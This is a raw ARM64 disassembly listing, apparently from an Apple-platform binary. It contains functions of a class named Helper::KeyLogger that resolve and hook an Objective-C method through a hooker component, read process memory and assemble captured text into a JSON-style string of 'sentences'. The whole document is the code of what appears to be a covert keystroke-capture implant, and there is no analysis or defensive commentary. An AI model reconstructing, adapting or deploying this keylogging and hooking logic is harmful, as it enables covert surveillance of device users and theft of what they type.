    1000102b8stp x29, x30, [sp+16]
    1000102bcadd x29, sp, 16
    1000102c0bl __ZN17VersionDispatcher26OffsetsVersionByDeviceInitEv
    1000102c4bl __ZN17VersionDispatcher14GetHostMachineEv
    1000102c8mov x1, x0
    1000102ccadr x0, 0x30e74
    1000102d0hint
    1000102d4bl strcmp@plt
    1000102d8movz w19, 17
    1000102dccbz w0, 0x100010300
    1000102e0bl __ZN17VersionDispatcher14GetHostMachineEv
    1000102e4mov x1, x0
    1000102e8adr x0, 0x30e63
    1000102echint
    1000102f0bl strcmp@plt
    1000102f4subs wzr, w0, 0
    1000102f8movz w8, 25
    1000102fccsel w19, w19, w8, eq
    100010300
    100010300loc_100010300:
    100010300adrp x8, 0x38000
    100010304str w19, [x8+3160]
    100010308ldp x29, x30, [sp+16]
    10001030cldp x20, x19, [sp], 32
    100010310retab
    1000102b0
    100010314
    100010314__ZN6Helper9KeyLogger4initEP8NSStringPPc:
    100010314pacibsp
    100010318stp x20, x19, [sp-32]!
    10001031cstp x29, x30, [sp+16]
    100010320add x29, sp, 16
    100010324mov x20, x2
    100010328mov x19, x0
    10001032cadr x0, 0x31a6b
    100010330hint
    100010334bl strdup@plt
    100010338str x0, [x20]
    10001033cadr x1, 0x31a6e
    100010340hint
    100010344movn x0, 1
    100010348bl dlsym@plt
    10001034ccbz x0, 0x10001037c
    100010350xpaci x0
    100010354ldp w8, w9, [x0]
    100010358ubfm x10, x8, 3, 63
    10001035cand x10, x10, 0xffffc
    100010360bfm x10, x8, 29, 30
    100010364add x8, x0, x10, lsl #12
    100010368and x8, x8, -4096
    10001036cubfm x9, x9, 7, 63
    100010370and x9, x9, 32760
    100010374ldr x8, [x8+x9]
    100010378str x8, [x19+72]
    10001037c
    10001037cloc_10001037c:
    10001037cmovz w0, 1
    100010380ldp x29, x30, [sp+16]
    100010384ldp x20, x19, [sp], 32
    100010388retab
    100010314
    10001038c
    10001038c__ZN6Helper9KeyLogger7executeEP8NSStringPPc:
    10001038cpacibsp
    100010390stp x22, x21, [sp-48]!
    100010394stp x20, x19, [sp+16]
    100010398stp x29, x30, [sp+32]
    10001039cadd x29, sp, 32
    1000103a0mov x19, x2
    1000103a4mov x21, x1
    1000103a8mov x20, x0
    1000103acadr x2, 0x350bc
    1000103b0hint
    1000103b4mov x0, x1
    1000103b8bl fn_10003e460
    1000103bccbz w0, 0x1000103e8
    1000103c0mov x0, x20
    1000103c4mov x1, x19
    1000103c8ldp x29, x30, [sp+32]
    1000103ccldp x20, x19, [sp+16]
    1000103d0ldp x22, x21, [sp], 48
    1000103d4autibsp
    1000103d8eor x16, x30, x30, lsl #1
    1000103dctbz x16, 62, 0x1000103e4
    1000103e0brk 50289
    1000103e4
    1000103e4loc_1000103e4:
    1000103e4b 0x100010488
    1000103e8
    1000103e8loc_1000103e8:
    1000103e8adr x2, 0x350a0
    1000103echint
    1000103f0mov x0, x21
    1000103f4bl fn_10003e460
    1000103f8cbz w0, 0x100010424
    1000103fcmovz w21, 1
    100010400mov x0, x20
    100010404mov x1, x19
    100010408movz w2, 1
    10001040cbl __ZN6Helper9KeyLogger12getSentencesEPPcb
    100010410mov x0, x21
    100010414ldp x29, x30, [sp+32]
    100010418ldp x20, x19, [sp+16]
    10001041cldp x22, x21, [sp], 48
    100010420retab
    100010424
    100010424loc_100010424:
    100010424adr x2, 0x35084
    100010428hint
    10001042cmov x0, x21
    100010430bl fn_10003e460
    100010434cbz w0, 0x100010460
    100010438mov x0, x20
    10001043cmov x1, x19
    100010440movz w2, 0
    100010444bl __ZN6Helper9KeyLogger12getSentencesEPPcb
    100010448movz w21, 1
    10001044cmov x0, x21
    100010450ldp x29, x30, [sp+32]
    100010454ldp x20, x19, [sp+16]
    100010458ldp x22, x21, [sp], 48
    10001045cretab
    100010460
    100010460loc_100010460:
    100010460adr x0, 0x31993
    100010464hint
    100010468bl strdup@plt
    10001046cmovz w21, 0
    100010470str x0, [x19]
    100010474mov x0, x21
    100010478ldp x29, x30, [sp+32]
    10001047cldp x20, x19, [sp+16]
    100010480ldp x22, x21, [sp], 48
    100010484retab
    10001038c
    100010488
    100010488__ZN6Helper9KeyLogger14startKeyLoggerEPPc:
    100010488pacibsp
    10001048csub sp, sp, 80
    100010490stp x22, x21, [sp+32]
    100010494stp x20, x19, [sp+48]
    100010498stp x29, x30, [sp+64]
    10001049cadd x29, sp, 64
    1000104a0mov x19, x1
    1000104a4mov x20, x0
    1000104a8adr x0, 0x3196c
    1000104achint
    1000104b0adr x1, 0x319ac
    1000104b4hint
    1000104b8adr x2, 0x319b4
    1000104bchint
    1000104c0bl __ZN5Utils14findObjcMethodEPKcS1_S1_
    1000104c4cbz x0, 0x100010580
    1000104c8mov x21, x0
    1000104ccldr x0, [x20+16]
    1000104d0adr x1, 0x319b7
    1000104d4hint
    1000104d8bl __ZN6Helper13HookerFactory9getHookerEPKc
    1000104dcstr x0, [x20+80]
    1000104e0cbz x0, 0x100010580
    1000104e4ldr x1, [x20+72]
    1000104e8add x2, x20, 64
    1000104ecmovz w3, 8
    1000104f0bl __ZNK8DMHooker10readLengthEyyy
    1000104f4ldr x0, [x20+80]
    1000104f8xpaci x21
    1000104fcadd x22, sp, 0
    100010500adr x16, 0x34ae0
    100010504hint
    100010508add x16, x16, 16
    10001050cmov x17, x22
    100010510movk x17, 0x530f000000000000
    100010514pacda x16, x17
    100010518stp x16, x20, [sp]
    10001051cstr x22, [sp+24]
    100010520add x2, sp, 0
    100010524mov x1, x21
    100010528movz w3, 0
    10001052cbl __ZN8DMHooker11hookAddressEyONSt3__18functionIFNS_10HookReturnEP27__darwin_arm_thread_state64EEEb
    100010530mov x20, x0
    100010534ldr x0, [sp+24]
    100010538subs xzr, x22, x0
    10001053cb.eq 0x100010594
    100010540cbz x0, 0x100010568
    100010544ldr x16, [x0]
    100010548mov x17, x0
    10001054cmovk x17, 0x530f000000000000
    100010550autda x16, x17
    100010554ldr x8, [x16+40]!
    100010558mov x9, x16
    10001055cmov x17, x9
    100010560movk x17, 0x595d000000000000
    100010564blraa x8, x17
    100010568
    100010568loc_100010568:
    100010568cbz x20, 0x1000105bc
    10001056c
    10001056cloc_10001056c:
    10001056cadr x0, 0x3175e
    100010570hint
    100010574bl strdup@plt
    100010578str x0, [x19]
    10001057cmovz w0, 1
    100010580
    100010580loc_100010580:
    100010580ldp x29, x30, [sp+64]
    100010584ldp x20, x19, [sp+48]
    100010588ldp x22, x21, [sp+32]
    10001058cadd sp, sp, 80
    100010590retab
    100010594
    100010594loc_100010594:
    100010594ldr x16, [x0]
    100010598mov x17, x0
    10001059cmovk x17, 0x530f000000000000
    1000105a0autda x16, x17
    1000105a4ldr x8, [x16+32]!
    1000105a8mov x9, x16
    1000105acmov x17, x9
    1000105b0movk x17, 0x5a7d000000000000
    1000105b4blraa x8, x17
    1000105b8cbnz x20, 0x10001056c
    1000105bc
    1000105bcloc_1000105bc:
    1000105bcmovz w0, 0
    1000105c0ldp x29, x30, [sp+64]
    1000105c4ldp x20, x19, [sp+48]
    1000105c8ldp x22, x21, [sp+32]
    1000105ccadd sp, sp, 80
    1000105d0retab
    1000105d4mov x19, x0
    1000105d8add x0, sp, 0
    1000105dcbl fn_10000eb24
    1000105e0mov x0, x19
    1000105e4bl _Unwind_Resume@plt
    100010488
    1000105e8
    1000105e8__ZN6Helper9KeyLogger12getSentencesEPPcb:
    1000105e8pacibsp
    1000105ecsub sp, sp, 208
    1000105f0stp x28, x27, [sp+112]
    1000105f4stp x26, x25, [sp+128]
    1000105f8stp x24, x23, [sp+144]
    1000105fcstp x22, x21, [sp+160]
    100010600stp x20, x19, [sp+176]
    100010604stp x29, x30, [sp+192]
    100010608add x29, sp, 192
    10001060cstp x1, x0, [sp+8]
    100010610movz w8, 1
    100010614strb w8, [sp+111]
    100010618movz w8, 123
    10001061cstrh w8, [sp+88]
    100010620ldr x20, [x0+40]
    100010624cbz x20, 0x100010aa8
    100010628add x8, sp, 40
    10001062corr x8, x8, 1
    100010630str x8, [sp+24]
    100010634movz w8, 1
    100010638
    100010638loc_100010638:
    100010638tbnz w8, 0, 0x100010650
    10001063cadd x0, sp, 88
    100010640adr x1, 0x317c5
    100010644hint
    100010648movz w2, 1
    10001064cbl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010650
    100010650loc_100010650:
    100010650ldrb w8, [x20+39]
    100010654sbfm w21, w8, 0, 7
    100010658str x20, [sp+32]
    10001065cldr x9, [x20+24]
    100010660subs wzr, w21, 0
    100010664csel x25, x9, x8, lt
    100010668add x22, x25, 1
    10001066cmovn x8, 16
    100010670movk x8, 0x7fff000000000000
    100010674subs xzr, x22, x8
    100010678b.hi 0x100010b38
    10001067csubs xzr, x22, 23
    100010680b.hs 0x1000106a4
    100010684stp xzr, xzr, [sp+48]
    100010688str xzr, [sp+40]
    10001068cstrb w22, [sp+63]
    100010690ldr x19, [sp+24]
    100010694movz w8, 34
    100010698strb w8, [sp+40]
    10001069ccbnz x25, 0x1000106cc
    1000106a0b 0x1000106e8
    1000106a4
    1000106a4loc_1000106a4:
    1000106a4add x8, x25, 17
    1000106a8and x20, x8, -16
    1000106acmov x0, x20
    1000106b0bl _Znwm@plt
    1000106b4mov x19, x0
    1000106b8orr x8, x20, 0x8000000000000000
    1000106bcstp x22, x8, [sp+48]
    1000106c0str x0, [sp+40]
    1000106c4movz w8, 34
    1000106c8strb w8, [x19], 1
    1000106cc
    1000106ccloc_1000106cc:
    1000106ccldr x8, [sp+32]
    1000106d0ldr x9, [x8+16]!
    1000106d4subs wzr, w21, 0
    1000106d8csel x1, x9, x8, lt
    1000106dcmov x0, x19
    1000106e0mov x2, x25
    1000106e4bl memmove@plt
    1000106e8
    1000106e8loc_1000106e8:
    1000106e8strb wzr, [x19+x25]
    1000106ecadd x0, sp, 40
    1000106f0adr x1, 0x31717
    1000106f4hint
    1000106f8movz w2, 2
    1000106fcbl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010700ldr q0, [x0]
    100010704ldr x8, [x0+16]
    100010708str x8, [sp+80]
    10001070cstr q0, [sp+64]
    100010710stp xzr, xzr, [x0+8]
    100010714str xzr, [x0]
    100010718ldrb w8, [sp+87]
    10001071csbfm w9, w8, 0, 7
    100010720ldp x10, x11, [sp+64]
    100010724subs wzr, w9, 0
    100010728add x9, sp, 64
    10001072ccsel x1, x10, x9, lt
    100010730csel x2, x11, x8, lt
    100010734add x0, sp, 88
    100010738bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    10001073cldr x20, [sp+32]
    100010740ldrsb w8, [sp+87]
    100010744tbnz w8, 31, 0x100010a8c
    100010748ldrsb w8, [sp+63]
    10001074ctbnz w8, 31, 0x100010a9c
    100010750
    100010750loc_100010750:
    100010750add x0, sp, 88
    100010754adr x1, 0x316b6
    100010758hint
    10001075cmovz w2, 3
    100010760bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010764ldp x8, x9, [x20+40]
    100010768subs xzr, x9, x8
    10001076cb.eq 0x100010a68
    100010770movz x23, 0
    100010774movz x22, 0
    100010778b 0x1000107bc
    10001077c
    10001077cloc_10001077c:
    10001077corr x8, x19, 0x8000000000000000
    100010780stp x21, x8, [sp+96]
    100010784str x20, [sp+88]
    100010788add x8, x20, x21
    10001078c
    10001078cloc_10001078c:
    10001078cldr x20, [sp+32]
    100010790
    100010790loc_100010790:
    100010790strb wzr, [x8]
    100010794
    100010794loc_100010794:
    100010794add x22, x22, 1
    100010798ldp x8, x9, [x20+40]
    10001079csub x9, x9, x8
    1000107a0sbfm x9, x9, 3, 63
    1000107a4orr x10, xzr, 0xaaaaaaaaaaaaaaaa
    1000107a8movk x10, 43691
    1000107acmadd x9, x9, x10, xzr
    1000107b0add x23, x23, 24
    1000107b4subs xzr, x22, x9
    1000107b8b.hs 0x100010a68
    1000107bc
    1000107bcloc_1000107bc:
    1000107bcadd x10, x8, x23
    1000107c0ldrsb w11, [x10+23]
    1000107c4and x9, x11, 255
    1000107c8tbnz w11, 31, 0x1000107e8
    1000107ccsubs wzr, w9, 1
    1000107d0b.ne 0x1000108e8
    1000107d4add x10, x8, x23
    1000107d8ldrb w10, [x10]
    1000107dcsubs wzr, w10, 34
    1000107e0b.eq 0x100010804
    1000107e4b 0x1000108e8
    1000107e8
    1000107e8loc_1000107e8:
    1000107e8ldr x10, [x10+8]
    1000107ecsubs xzr, x10, 1
    1000107f0b.ne 0x1000108e8
    1000107f4ldr x10, [x8+x23]
    1000107f8ldrb w10, [x10]
    1000107fcsubs wzr, w10, 34
    100010800b.ne 0x1000108e8
    100010804
    100010804loc_100010804:
    100010804ldrb w9, [sp+111]
    100010808sbfm w8, w9, 0, 7
    10001080cldp x11, x10, [sp+96]
    100010810and x10, x10, 0x7fffffffffffffff
    100010814sub x10, x10, 1
    100010818subs wzr, w8, 0
    10001081cmovz w12, 22
    100010820csel x24, x10, x12, lt
    100010824csel x25, x11, x9, lt
    100010828sub x9, x24, x25
    10001082csubs xzr, x9, 2
    100010830b.hs 0x100010a1c
    100010834add x21, x25, 2
    100010838sub x9, x21, x24
    10001083corn x10, xzr, x24
    100010840movn x11, 16
    100010844movk x11, 0x7fff000000000000
    100010848add x10, x10, x11
    10001084csubs xzr, x10, x9
    100010850b.lo 0x100010b2c
    100010854ldr x9, [sp+88]
    100010858subs wzr, w8, 0
    10001085cadd x8, sp, 88
    100010860csel x19, x9, x8, lt
    100010864ubfm x8, x24, 63, 62
    100010868subs xzr, x21, x8
    10001086ccsel x8, x21, x8, hi
    100010870add x9, x8, 16
    100010874and x9, x9, -16
    100010878subs xzr, x8, 23
    10001087cmovz w8, 23
    100010880csel x8, x8, x9, lo
    100010884movn x9, 24
    100010888movk x9, 0x3fff000000000000
    10001088csubs xzr, x24, x9
    100010890movn x9, 16
    100010894movk x9, 0x7fff000000000000
    100010898csel x20, x9, x8, hs
    10001089cmov x0, x20
    1000108a0bl _Znwm@plt
    1000108a4mov x26, x0
    1000108a8cbz x25, 0x1000108bc
    1000108acmov x0, x26
    1000108b0mov x1, x19
    1000108b4mov x2, x25
    1000108b8bl memmove@plt
    1000108bc
    1000108bcloc_1000108bc:
    1000108bcmovz w8, 8796
    1000108c0strh w8, [x26+x25]
    1000108c4subs xzr, x24, 22
    1000108c8b.eq 0x1000108d4
    1000108ccmov x0, x19
    1000108d0bl _ZdlPv@plt
    1000108d4
    1000108d4loc_1000108d4:
    1000108d4orr x8, x20, 0x8000000000000000
    1000108d8stp x21, x8, [sp+96]
    1000108dcstr x26, [sp+88]
    1000108e0add x8, x26, x21
    1000108e4b 0x10001078c
    1000108e8
    1000108e8loc_1000108e8:
    1000108e8sbfm w10, w9, 0, 7
    1000108ecadd x8, x8, x23
    1000108f0ldp x11, x12, [x8]
    1000108f4subs wzr, w10, 0
    1000108f8csel x26, x11, x8, lt
    1000108fccsel x25, x12, x9, lt
    100010900ldrb w9, [sp+111]
    100010904sbfm w8, w9, 0, 7
    100010908ldp x11, x10, [sp+96]
    10001090cand x10, x10, 0x7fffffffffffffff
    100010910sub x10, x10, 1
    100010914subs wzr, w8, 0
    100010918movz w12, 22
    10001091ccsel x24, x10, x12, lt
    100010920csel x27, x11, x9, lt
    100010924sub x9, x24, x27
    100010928subs xzr, x9, x25
    10001092cb.hs 0x1000109dc
    100010930add x21, x27, x25
    100010934sub x9, x21, x24
    100010938orn x10, xzr, x24
    10001093cmovn x11, 16
    100010940movk x11, 0x7fff000000000000
    100010944add x10, x10, x11
    100010948subs xzr, x10, x9
    10001094cb.lo 0x100010b2c
    100010950ldr x9, [sp+88]
    100010954subs wzr, w8, 0
    100010958add x8, sp, 88
    10001095ccsel x28, x9, x8, lt
    100010960movn x19, 16
    100010964movk x19, 0x7fff000000000000
    100010968movn x8, 24
    10001096cmovk x8, 0x3fff000000000000
    100010970subs xzr, x24, x8
    100010974b.hs 0x100010998
    100010978ubfm x8, x24, 63, 62
    10001097csubs xzr, x21, x8
    100010980csel x8, x21, x8, hi
    100010984add x9, x8, 16
    100010988and x9, x9, -16
    10001098csubs xzr, x8, 23
    100010990movz w8, 23
    100010994csel x19, x8, x9, lo
    100010998
    100010998loc_100010998:
    100010998mov x0, x19
    10001099cbl _Znwm@plt
    1000109a0mov x20, x0
    1000109a4cbz x27, 0x1000109b8
    1000109a8mov x0, x20
    1000109acmov x1, x28
    1000109b0mov x2, x27
    1000109b4bl memmove@plt
    1000109b8
    1000109b8loc_1000109b8:
    1000109b8add x0, x20, x27
    1000109bcmov x1, x26
    1000109c0mov x2, x25
    1000109c4bl memcpy@plt
    1000109c8subs xzr, x24, 22
    1000109ccb.eq 0x10001077c
    1000109d0mov x0, x28
    1000109d4bl _ZdlPv@plt
    1000109d8b 0x10001077c
    1000109dc
    1000109dcloc_1000109dc:
    1000109dccbz x25, 0x100010794
    1000109e0ldr x9, [sp+88]
    1000109e4subs wzr, w8, 0
    1000109e8add x8, sp, 88
    1000109eccsel x19, x9, x8, lt
    1000109f0add x0, x19, x27
    1000109f4mov x1, x26
    1000109f8mov x2, x25
    1000109fcbl memmove@plt
    100010a00add x8, x27, x25
    100010a04ldrsb w9, [sp+111]
    100010a08tbnz w9, 31, 0x100010a50
    100010a0cand w9, w8, 127
    100010a10strb w9, [sp+111]
    100010a14add x8, x19, x8
    100010a18b 0x100010790
    100010a1c
    100010a1cloc_100010a1c:
    100010a1cldr x9, [sp+88]
    100010a20subs wzr, w8, 0
    100010a24add x8, sp, 88
    100010a28csel x8, x9, x8, lt
    100010a2cmovz w9, 8796
    100010a30strh w9, [x8+x25]
    100010a34add x9, x25, 2
    100010a38ldrsb w10, [sp+111]
    100010a3ctbnz w10, 31, 0x100010a5c
    100010a40and w10, w9, 127
    100010a44strb w10, [sp+111]
    100010a48add x8, x8, x9
    100010a4cb 0x100010790
    100010a50
    100010a50loc_100010a50:
    100010a50str x8, [sp+96]
    100010a54add x8, x19, x8
    100010a58b 0x100010790
    100010a5c
    100010a5cloc_100010a5c:
    100010a5cstr x9, [sp+96]
    100010a60add x8, x8, x9
    100010a64b 0x100010790
    100010a68
    100010a68loc_100010a68:
    100010a68add x0, sp, 88
    100010a6cadr x1, 0x313a2
    100010a70hint
    100010a74movz w2, 3
    100010a78bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010a7cmovz w8, 0
    100010a80ldr x20, [x20]
    100010a84cbnz x20, 0x100010638
    100010a88b 0x100010aa8
    100010a8c
    100010a8cloc_100010a8c:
    100010a8cldr x0, [sp+64]
    100010a90bl _ZdlPv@plt
    100010a94ldrsb w8, [sp+63]
    100010a98tbz w8, 31, 0x100010750
    100010a9c
    100010a9cloc_100010a9c:
    100010a9cldr x0, [sp+40]
    100010aa0bl _ZdlPv@plt
    100010aa4b 0x100010750
    100010aa8
    100010aa8loc_100010aa8:
    100010aa8adr x1, 0x3136a
    100010aachint
    100010ab0add x0, sp, 88
    100010ab4movz w2, 1
    100010ab8bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm@plt
    100010abcldr x8, [sp+16]
    100010ac0add x0, x8, 24
    100010ac4movz x1, 0
    100010ac8movz x2, 0
    100010accbl fn_100010dc8
    100010ad0ldrsb w8, [sp+111]
    100010ad4tbnz w8, 31, 0x100010aec
    100010ad8add x0, sp, 88
    100010adcbl strdup@plt
    100010ae0ldr x8, [sp+8]
    100010ae4str x0, [x8]
    100010ae8b 0x100010b08
    100010aec
    100010aecloc_100010aec:
    100010aecldr x19, [sp+88]
    100010af0mov x0, x19
    100010af4bl strdup@plt
    100010af8ldr x8, [sp+8]
    100010afcstr x0, [x8]
    100010b00mov x0, x19
    100010b04bl _ZdlPv@plt
    100010b08
    100010b08loc_100010b08:
    100010b08movz w0, 1
    100010b0cldp x29, x30, [sp+192]
    100010b10ldp x20, x19, [sp+176]
    100010b14ldp x22, x21, [sp+160]
    100010b18ldp x24, x23, [sp+144]
    100010b1cldp x26, x25, [sp+128]
    100010b20ldp x28, x27, [sp+112]
    100010b24add sp, sp, 208
    100010b28retab
    100010b2c
    100010b2cloc_100010b2c:
    100010b2cadd x0, sp, 88
    100010b30bl fn_1000089dc
    100010b34b 0x100010b40
    100010b38
    100010b38loc_100010b38:
    100010b38add x0, sp, 40
    100010b3cbl fn_1000089dc
    100010b40
    100010b40loc_100010b40:
    100010b40brk 1
    100010b44b 0x100010bb0
    100010b48b 0x100010bb0
    100010b4cmov x19, x0
    100010b50ldrsb w8, [sp+63]
    100010b54tbz w8, 31, 0x100010b70
    100010b58b 0x100010b90
    100010b5cmov x19, x0
    100010b60ldrsb w8, [sp+87]
    100010b64tbnz w8, 31, 0x100010b80
    100010b68ldrsb w8, [sp+63]
    100010b6ctbnz w8, 31, 0x100010b90
    100010b70
    100010b70loc_100010b70:
    100010b70ldrsb w8, [sp+111]
    100010b74tbnz w8, 31, 0x100010bbc
    100010b78
    100010b78loc_100010b78:
    100010b78mov x0, x19
    100010b7cbl _Unwind_Resume@plt
    100010b80
    100010b80loc_100010b80:
    100010b80ldr x0, [sp+64]
    100010b84bl _ZdlPv@plt
    100010b88ldrsb w8, [sp+63]
    100010b8ctbz w8, 31, 0x100010b70
    100010b90
    100010b90loc_100010b90:
    100010b90ldr x0, [sp+40]
    100010b94bl _ZdlPv@plt
    100010b98ldrsb w8, [sp+111]
    100010b9ctbz w8, 31, 0x100010b78
    100010ba0b 0x100010bbc
    100010ba4b 0x100010bb0
    100010ba8b 0x100010bb0
    100010bacb 0x100010bb0
    100010bb0
    100010bb0loc_100010bb0:
    100010bb0mov x19, x0
    100010bb4ldrsb w8, [sp+111]
    100010bb8tbz w8, 31, 0x100010b78
    100010bbc
    100010bbcloc_100010bbc:
    100010bbcldr x0, [sp+88]
    100010bc0bl _ZdlPv@plt
    100010bc4mov x0, x19
    100010bc8bl _Unwind_Resume@plt
    1000105e8
    100010bcc
    100010bccfn_100010bcc:
    100010bccpacibsp
    100010bd0stp x20, x19, [sp-32]!
    100010bd4stp x29, x30, [sp+16]
    100010bd8add x29, sp, 16
    100010bdcmov x19, x0
    100010be0adr x16, 0x343b8
    100010be4hint
    100010be8add x16, x16, 16
    100010becmov x17, x0
    100010bf0movk x17, 0x6ae1000000000000
    100010bf4pacda x16, x17
    100010bf8str x16, [x0], 24
    100010bfcbl fn_100010c64
    100010c00mov x0, x19
    100010c04ldp x29, x30, [sp+16]
    100010c08ldp x20, x19, [sp], 32
    100010c0cretab
    100010bcc
    100010c10
    100010c10fn_100010c10:
    100010c10pacibsp
    100010c14stp x20, x19, [sp-32]!
    100010c18stp x29, x30, [sp+16]
    100010c1cadd x29, sp, 16
    100010c20mov x19, x0
    100010c24adr x16, 0x34374
    100010c28hint
    100010c2cadd x16, x16, 16
    100010c30mov x17, x0
    100010c34movk x17, 0x6ae1000000000000
    100010c38pacda x16, x17
    100010c3cstr x16, [x0], 24
    100010c40bl fn_100010c64
    100010c44mov x0, x19
    100010c48ldp x29, x30, [sp+16]
    100010c4cldp x20, x19, [sp], 32
    100010c50autibsp
    100010c54eor x16, x30, x30, lsl #1
    100010c58tbz x16, 62, 0x100010c60
    100010c5cbrk 50289
    100010c60
    100010c60loc_100010c60:
    100010c60b 0x10003d990
    100010c10